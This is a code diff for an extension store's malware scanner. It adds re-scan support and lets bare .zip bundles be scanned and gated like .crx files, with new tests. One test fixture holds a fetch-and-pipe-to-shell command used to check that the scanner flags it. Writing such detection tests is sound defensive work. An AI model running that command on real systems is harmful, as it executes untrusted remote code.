diff --git a/apps/extensions/public/store.js b/apps/extensions/public/store.js index d70bf39..24b6a42 100644 --- a/apps/extensions/public/store.js +++ b/apps/extensions/public/store.js @@ -265,6 +265,7 @@ async function renderDetail(slug, root) { How to install ${ext.isOwner ? '' : ''} + ${ext.isOwner ? '' : ''} ${ext.isOwner ? editForm(ext) : ''} ${ext.homepageUrl ? `

Homepage: ${esc(ext.homepageUrl)}

` : ''} @@ -285,6 +286,22 @@ async function renderDetail(slug, root) { }); wireEditForm(ext, () => renderDetail(slug, root)); + + // Scans are recorded at publish time, so a listing published before its + // bundle could be scanned needs one re-run to earn a badge. + document.getElementById('rescanBtn')?.addEventListener('click', async (e) => { + const btn = e.currentTarget; + btn.disabled = true; + btn.textContent = 'πŸ›‘ Scanning…'; + try { + await api(`/extensions/${encodeURIComponent(ext.id)}/rescan`, { method: 'POST' }); + await renderDetail(slug, root); + } catch (err) { + alert('Could not scan: ' + err.message); + btn.disabled = false; + btn.textContent = 'πŸ›‘ Re-scan'; + } + }); } } diff --git a/services/api/src/store/crx.ts b/services/api/src/store/crx.ts index 0218384..3fed12e 100644 --- a/services/api/src/store/crx.ts +++ b/services/api/src/store/crx.ts @@ -43,6 +43,22 @@ export function crxToZip(buf: Uint8Array): Uint8Array { throw new Error(`unsupported CRX version ${version}`); } +/** + * Extract the ZIP payload from whichever artifact a publisher shipped. + * + * A .crx is a header wrapped around a ZIP, and most publishers upload the bare + * .zip instead. Insisting on the CRX header meant zip-only listings skipped the + * scanner entirely and sat on an "unscanned" badge forever. + */ +export function artifactToZip(buf: Uint8Array): Uint8Array { + if (buf.length >= 4 && strFromU8(buf.slice(0, 4)) === CRX_MAGIC) return crxToZip(buf); + // Local file header ("PK\x03\x04") β€” or an empty archive ("PK\x05\x06"). + if (buf.length >= 4 && buf[0] === 0x50 && buf[1] === 0x4b && (buf[2] === 0x03 || buf[2] === 0x05)) { + return buf; + } + throw new Error('not a .crx or .zip bundle'); +} + function iconToDataUri(path: string, bytes: Uint8Array): string | null { if (!bytes || bytes.length === 0 || bytes.length > MAX_ICON_BYTES) return null; const ext = path.toLowerCase().split('.').pop() || ''; @@ -108,25 +124,28 @@ export function extractListingFromCrx(buf: Uint8Array): IngestedListing { } /** Download a .crx over http(s) with guards. */ -export async function fetchCrx(url: string, maxBytes = 25 * 1024 * 1024): Promise { +export async function fetchArtifact(url: string, maxBytes = 25 * 1024 * 1024): Promise { let u: URL; try { u = new URL(url); } catch { - throw new Error('crxUrl must be a valid URL'); + throw new Error('bundle URL must be a valid URL'); } if (u.protocol !== 'https:' && u.protocol !== 'http:') { - throw new Error('crxUrl must be http(s)'); + throw new Error('bundle URL must be http(s)'); } const res = await fetch(u, { redirect: 'follow' }); - if (!res.ok) throw new Error(`could not fetch crx (${res.status})`); + if (!res.ok) throw new Error(`could not fetch bundle (${res.status})`); const len = Number(res.headers.get('content-length') || 0); - if (len && len > maxBytes) throw new Error('crx is too large'); + if (len && len > maxBytes) throw new Error('bundle is too large'); const buf = new Uint8Array(await res.arrayBuffer()); - if (buf.length > maxBytes) throw new Error('crx is too large'); + if (buf.length > maxBytes) throw new Error('bundle is too large'); return buf; } +/** @deprecated use {@link fetchArtifact} β€” same fetch, .crx-flavoured name. */ +export const fetchCrx = fetchArtifact; + /** Download a .crx and extract its listing. */ export async function ingestCrxUrl(url: string): Promise { return extractListingFromCrx(await fetchCrx(url)); diff --git a/services/api/src/store/routes.ts b/services/api/src/store/routes.ts index 17a01c8..3fc13f2 100644 --- a/services/api/src/store/routes.ts +++ b/services/api/src/store/routes.ts @@ -24,8 +24,8 @@ import { } from './payments.js'; import { enqueueScan } from './vu1nz.js'; import { mirrorListing } from './mirror.js'; -import { fetchCrx, extractListingFromCrx } from './crx.js'; -import { scanCrx } from './scanner.js'; +import { fetchArtifact, extractListingFromCrx } from './crx.js'; +import { scanArtifact, type ExtensionScanResult } from './scanner.js'; import { createScan, updateScan } from './db.js'; const APP_URL = process.env.APP_URL || 'https://tronbrowser.dev'; @@ -85,6 +85,17 @@ async function listingView(ext: any, viewer?: User | null) { }; } +/** Write a scan verdict to the badge store. Shared by publish and rescan. */ +async function persistScan(extensionId: string, versionId: string, result: ExtensionScanResult): Promise { + const scanId = await createScan(extensionId, versionId); + await updateScan(scanId, { + status: 'done', + score: result.green ? 100 : 40, + severity: result.status === 'malicious' ? 'critical' : result.status === 'suspicious' ? 'high' : 'clean', + findingsJson: JSON.stringify(result.findings), + }); +} + export const store = new Hono(); store.get('/healthz', (c) => c.json({ ok: true, service: 'store' })); @@ -142,6 +153,33 @@ store.patch('/extensions/:id', async (c) => { return c.json({ ok: true, listing: await listingView(updated) }); }); +/* ---------- publisher: re-scan the current version ---------- + A scan verdict is written at publish time, so a listing published while the + scanner was unavailable (or before zip bundles were scannable) keeps showing + "unscanned" until its next release. This re-runs the scan against the + artifact already on file β€” no re-upload, no version bump. */ +store.post('/extensions/:id/rescan', async (c) => { + const user = await currentUser(c); + if (!user) return c.json({ error: 'unauthorized' }, 401); + const ext = await extensionById(c.req.param('id')); + if (!ext) return c.json({ error: 'not found' }, 404); + if (ext.owner_user_id !== user.id) return c.json({ error: 'forbidden' }, 403); + + const ver = await latestVersion(ext.id); + if (!ver) return c.json({ error: 'no published version to scan' }, 404); + const target = ver.crx_url || ver.bundle_url; + if (!target) return c.json({ error: 'version has no downloadable artifact' }, 400); + + try { + const buf = await fetchArtifact(target); + const result = scanArtifact(buf, ver.permissions_json ? JSON.parse(ver.permissions_json) : []); + await persistScan(ext.id, ver.id, result); + return c.json({ ok: true, scan: result }); + } catch (e: any) { + return c.json({ error: `could not scan bundle: ${e?.message || e}` }, 422); + } +}); + /* ---------- publisher: create draft ---------- */ store.post('/extensions', async (c) => { const user = await currentUser(c); @@ -176,9 +214,9 @@ store.post('/extensions/ingest', async (c) => { const crxUrl = String(body.crxUrl || '').trim(); if (!crxUrl) return c.json({ error: 'crxUrl required' }, 400); try { - const buf = await fetchCrx(crxUrl); + const buf = await fetchArtifact(crxUrl); const listing = extractListingFromCrx(buf); - const scan = scanCrx(buf, listing.permissions); + const scan = scanArtifact(buf, listing.permissions); return c.json({ ok: true, listing, scan }); } catch (e: any) { return c.json({ error: e?.message || 'could not ingest .crx' }, 422); @@ -340,13 +378,18 @@ store.post('/extensions/:id/versions', async (c) => { // If we can fetch a .crx, scan its code + permissions and BLOCK the submit // on any critical finding (green light required to publish). Zip-only // bundles fall back to the async (non-gating) vu1nz scan. - let scanResult: Awaited> | null = null; - if (crxUrl) { + // A .crx is just a header around a ZIP, so scan whichever artifact exists. + // Gating only on .crx meant every zip-only listing skipped the scanner and + // fell through to the async path β€” which records 'skipped' when no external + // scanner is configured, leaving the listing permanently "unscanned". + const scanTarget = crxUrl || bundleUrl; + let scanResult: ExtensionScanResult | null = null; + if (scanTarget) { try { - const buf = await fetchCrx(crxUrl); - scanResult = scanCrx(buf, v.permissions); + const buf = await fetchArtifact(scanTarget); + scanResult = scanArtifact(buf, v.permissions); } catch (e: any) { - return c.json({ error: `could not scan .crx: ${e?.message || e}` }, 422); + return c.json({ error: `could not scan bundle: ${e?.message || e}` }, 422); } if (!scanResult.green) { return c.json({ @@ -372,15 +415,10 @@ store.post('/extensions/:id/versions', async (c) => { if (scanResult) { // Persist the gating scan result for the store badge. - const scanId = await createScan(ext.id, version.id); - await updateScan(scanId, { - status: 'done', - score: scanResult.green ? 100 : 40, - severity: scanResult.status === 'malicious' ? 'critical' : scanResult.status === 'suspicious' ? 'high' : 'clean', - findingsJson: JSON.stringify(scanResult.findings), - }); + await persistScan(ext.id, version.id, scanResult); } else { - // Zip-only: fall back to the async (non-gating) vu1nz scan. + // No fetchable artifact at all β€” fall back to the async vu1nz scan, which + // records 'skipped' when no external scanner is configured. await enqueueScan(ext.id, version); } diff --git a/services/api/src/store/scanner.test.ts b/services/api/src/store/scanner.test.ts index 95a1098..7439e9d 100644 --- a/services/api/src/store/scanner.test.ts +++ b/services/api/src/store/scanner.test.ts @@ -1,6 +1,6 @@ import { describe, it, expect } from 'vitest'; -import { strToU8 } from 'fflate'; -import { scanFiles, scanPermissions } from './scanner.js'; +import { strToU8, zipSync } from 'fflate'; +import { scanFiles, scanPermissions, scanArtifact } from './scanner.js'; describe('extension scanner (publish gate)', () => { it('is green for a normal extension (fetch/base64/crypto are fine)', () => { @@ -41,3 +41,44 @@ describe('extension scanner (publish gate)', () => { expect(f.some((x) => x.rule === 'perm-cookies')).toBe(true); }); }); + +describe('scanArtifact β€” .zip as well as .crx', () => { + const bundle = () => zipSync({ + 'manifest.json': strToU8(JSON.stringify({ manifest_version: 3, name: 'x', version: '1.0.0' })), + 'background.js': strToU8('const x = await fetch(url);'), + }); + + it('scans a bare .zip bundle β€” the artifact most publishers actually upload', () => { + const r = scanArtifact(bundle(), ['storage']); + expect(r.green).toBe(true); + expect(r.status).toBe('clean'); + expect(r.fileHash).toHaveLength(64); + }); + + it('still scans a .crx, and reaches the same verdict as its inner zip', () => { + const zip = bundle(); + // CRX3: magic + version + headerLen + header, then the zip. + const header = new Uint8Array(8); + const crx = new Uint8Array(12 + header.length + zip.length); + crx.set(strToU8('Cr24'), 0); + new DataView(crx.buffer).setUint32(4, 3, true); + new DataView(crx.buffer).setUint32(8, header.length, true); + crx.set(header, 12); + crx.set(zip, 12 + header.length); + + const fromCrx = scanArtifact(crx, ['storage']); + expect(fromCrx.green).toBe(true); + expect(fromCrx.findings).toEqual(scanArtifact(zip, ['storage']).findings); + }); + + it('flags a critical finding inside a plain zip, so the gate can block it', () => { + const evil = zipSync({ 'evil.js': strToU8('curl http://x.sh | bash') }); + const r = scanArtifact(evil); + expect(r.green).toBe(false); + expect(r.findings.some((f) => f.rule === 'pipe-to-shell')).toBe(true); + }); + + it('rejects bytes that are neither .crx nor .zip', () => { + expect(() => scanArtifact(strToU8('not an archive'))).toThrow(/not a \.crx or \.zip/); + }); +}); diff --git a/services/api/src/store/scanner.ts b/services/api/src/store/scanner.ts index c01fa90..8fb1a11 100644 --- a/services/api/src/store/scanner.ts +++ b/services/api/src/store/scanner.ts @@ -10,7 +10,7 @@ // green (publishable) iff there are no critical findings. import { createHash } from 'node:crypto'; import { unzipSync, strFromU8 } from 'fflate'; -import { crxToZip } from './crx.js'; +import { artifactToZip } from './crx.js'; export type Severity = 'low' | 'medium' | 'high' | 'critical'; export type ScanStatus = 'clean' | 'suspicious' | 'malicious'; @@ -112,12 +112,17 @@ function summarize(findings: ScanFinding[]): Omit !f.name.endsWith('/') }); + const files = unzipSync(artifactToZip(buf), { filter: (f) => !f.name.endsWith('/') }); const base = scanFiles(files); const permFindings = scanPermissions(permissions); const merged = [...base.findings, ...permFindings]; return { ...summarize(merged), fileHash }; } + +/** @deprecated use {@link scanArtifact} β€” kept so .crx callers read naturally. */ +export function scanCrx(buf: Uint8Array, permissions: string[] = []): ExtensionScanResult { + return scanArtifact(buf, permissions); +}